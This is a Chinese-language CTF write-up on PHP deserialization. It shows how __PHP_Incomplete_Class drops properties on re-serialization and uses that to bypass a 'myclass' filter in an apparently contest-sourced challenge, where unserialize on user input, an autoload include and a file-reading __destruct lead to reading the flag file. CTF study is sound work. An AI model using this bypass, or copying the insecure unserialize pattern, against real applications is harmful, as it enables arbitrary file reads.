一、环境
网上自己找
二、步骤
2.1抛出引题
在这个代码中我们反序列,再序列化
<?php$raw = 'O:1:"A":1:{s:1:"a";s:1:"b";}';echo serialize(unserialize($raw));//O:1:"A":1:{s:1:"a";s:1:"b";}
结果和原始的值是没有什么区别的,但是我们可以看到即使脚本中没有A这个类,在反序列化序列化过后得到的值依然为原来的值
2.2研究1:只反序列化
<?php$raw = 'O:1:"A":1:{s:1:"a";s:1:"b";}';var_dump(unserialize($raw));
结果
我们可以看到当我们反序列化一个不存在的类时,会出现PHP_Incomplete_Class这个字段 ,它是一个数组,数组里面有一个值,同时将原始类名存储在PHP_Incomplete_Class_Name这个类下面
2.3我们用这个特殊函数举一个例子
$raw = 'a:2:{i:0;O:8:"stdClass":1:{s:3:"abc";N;}i:1;O:22:"__PHP_Incomplete_Class":1:{s:3:"abc";N;}}';
var_dump(unserialize($raw));
var_dump(unserialize(serialize(unserialize($raw))));
我们先把序列化的结果进行反序列化看一下具体是什么东西
我们可以看到变成了两个类
那我们再进行一次序列化呢,相当于反序列后进行了一次序列化相当于一个还原的过程
而我们可以明显的看到abc是没有了的
之后我们再进行一次反序列化
正常来说这两个类反序列化完是一样的而看结果我们可以明显看到不一样了
可以看到在二次序列化后,由于O:22:"__PHP_Incomplete_Class":1:{s:1:"a";O:7:"classes":0:{}}
中__PHP_Incomplete_Class_Name
为空,找不到应该绑定的类,其属性就被丢弃了,导致了serialize(unserialize($x)) != $x
的出现。
2.4开始正式解题
index.php
<?php
// echo file_get_contents('flag.php');
ini_set('display_errors', 'on');
include 'function.php';
$res = unserialize($_REQUEST['ctfer']);
var_dump($res);
echo '<br>';
var_dump(serialize($res));
if (preg_match('/myclass/i', serialize($res))) {echo '????';throw new Exception("Error: Class 'myclass' not found");
}
highlight_file(__FILE__);
echo "<br>";
highlight_file('myclass.php');
echo "<br>";
highlight_file('function.php');
echo "End";
flag.php
<?php
flag{wahahah}
function.php
<?php
// function.php
function __autoload($classname){require_once "./$classname.php";
}
?>
myclass.php
<?php
// myclass.php
// class myclass{}
class Hello
{public function __destruct(){echo "I'm destructed.<br/>";var_export($this->qwb);if($this->qwb) echo file_get_contents($this->qwb);}
}
?>
这道题接收了一个ctfer,之后进行反序列化,反序列化后进行了一个序列化,看里面有没有myclass这个元素有则退出,没有则继续
而最终执行文件在这里
在这个题目中,我们需要加载myclass.php
中的hello
类,但是要引入hello类,根据__autoload
我们需要一个classname
为myclass
的类,这个类并不存在,如果我们直接去反序列化,只会在反序列化myclass类的时候报错无法进入下一步,或者在反序列化Hello的时候找不到这个类而报错。
根据上面的分析,我们可以使用PHP对__PHP_Incomplete_Class_name
的特殊处理进行绕过
使用urlcode编码/flag后
最终读出flag